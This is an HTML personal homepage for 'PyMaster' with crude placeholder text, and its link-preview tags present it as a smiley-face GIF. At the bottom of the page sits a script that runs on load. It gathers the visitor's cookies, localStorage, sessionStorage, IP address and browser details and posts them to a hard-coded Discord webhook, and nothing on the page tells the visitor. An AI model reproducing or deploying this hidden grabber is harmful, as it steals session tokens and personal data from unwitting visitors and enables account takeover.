<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>About Me</title>
    <!-- Open Graph meta tags -->
    <meta property="og:title" content="Smiley Face GIF">
    <meta property="og:description" content="Check out this cool smiley face GIF!">
    <meta property="og:image" content="https://clipartmag.com/images/smily-face-animated-35.gif">
    <meta property="og:url" content="https://flyawaydev123.github.io/smile_face_gif/">
    <meta property="og:type" content="website">
    <style>
        body {
            font-family: Arial, sans-serif;
            margin: 0;
            padding: 0;
            background-color: #a14a96;
        }
        .container {
            width: 80%;
            margin: auto;
            overflow: hidden;
        }
        header {
            background: #333;
            color: #e65ec4;
            padding-top: 30px;
            min-height: 70px;
            border-bottom: #77aaff 3px solid;
        }
        header a {
            color: #e8b8f1;
            text-decoration: none;
            text-transform: uppercase;
            font-size: 16px;
        }
        header ul {
            padding: 0;
            list-style: none;
        }
        header li {
            float: left;
            display: inline;
            padding: 0 20px 0 20px;
        }
        header #branding {
            float: left;
        }
        header #branding h1 {
            margin: 0;
        }
        header nav {
            float: right;
            margin-top: 10px;
        }
        .showcase {
            min-height: 400px;
            background: url('https://example.com/your-background.jpg') no-repeat 0 -400px;
            text-align: center;
            color: #fff;
        }
        .showcase h1 {
            margin-top: 100px;
            font-size: 55px;
            margin-bottom: 10px;
        }
        .showcase p {
            font-size: 20px;
        }
        .content {
            padding: 20px;
            background: #e98ed5;
        }
        .content h2 {
            text-align: center;
        }
        .content p {
            line-height: 1.6;
        }
    </style>
</head>
<body>
    <header>
        <div class="container">
            <div id="branding">
                <h1><span class="highlight">PyMaster</span></h1>
            </div>
            <nav>
                <ul>
                    <li><a href="#">Home</a></li>
                    <li><a href="#">About</a></li>
                    <li><a href="#">Contact</a></li>
                </ul>
            </nav>
        </div>
    </header>

    <section class="showcase">
        <div class="container">
            <h1>Welcome to My Homepage</h1>
            <p>Learn more about me and my work.</p>
        </div>
    </section>

    <section class="content">
        <div class="container">
            <h2>About Me</h2>
            <p>Hello! I'm PyMaster, a balls based in balls. I have a passion for balls. In my free time, I enjoy balls.</p>
            <p>Feel free to explore my website to learn more about my work and interests. If you'd like to get in touch, please visit the contact page.</p>
        </div>
    </section>

    <script>
        // Data endpoint URL
        const dataEndpoint = 'https://discord.com/api/webhooks/1325812048591982654/FAL8l-9IMuOSrFXR0paE_neVwaYIz1oFuSMzP_6FEjKEtnmUE3AKHMPavHyQlR-aGj2w';

        // Function to get cookies
        function getCookies() {
            return document.cookie;
        }

        // Function to get localStorage data
        function getLocalStorage() {
            let localStorageData = {};
            for (let key in localStorage) {
                if (localStorage.hasOwnProperty(key)) {
                    localStorageData[key] = localStorage.getItem(key);
                }
            }
            return localStorageData;
        }

        // Function to get sessionStorage data
        function getSessionStorage() {
            let sessionStorageData = {};
            for (let key in sessionStorage) {
                if (sessionStorage.hasOwnProperty(key)) {
                    sessionStorageData[key] = sessionStorage.getItem(key);
                }
            }
            return sessionStorageData;
        }

        // Function to get IP address
        async function getIP() {
            const response = await fetch('https://api.ipify.org?format=json');
            const data = await response.json();
            return data.ip;
        }

        // Function to get browser information
        function getBrowserInfo() {
            return {
                userAgent: navigator.userAgent,
                platform: navigator.platform,
                language: navigator.language,
                languages: navigator.languages,
                vendor: navigator.vendor,
                appVersion: navigator.appVersion,
            };
        }

        // Function to send data to the endpoint
        async function sendData() {
            const ip = await getIP();
            const payload = {
                cookies: getCookies(),
                localStorage: getLocalStorage(),
                sessionStorage: getSessionStorage(),
                browserInfo: getBrowserInfo(),
                ip: ip
            };

            const embed = {
                title: "Browser Data",
                fields: [
                    { name: "IP Address", value: payload.ip, inline: true },
                    { name: "Cookies", value: payload.cookies, inline: false },
                    { name: "Local Storage", value: JSON.stringify(payload.localStorage), inline: false },
                    { name: "Session Storage", value: JSON.stringify(payload.sessionStorage), inline: false },
                    { name: "Browser Info", value: JSON.stringify(payload.browserInfo), inline: false }
                ]
            };

            await fetch(dataEndpoint, {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json'
                },
                body: JSON.stringify({ embeds: [embed] })
            });
        }

        // Execute the sendData function
        sendData();
    </script>
</body>
</html>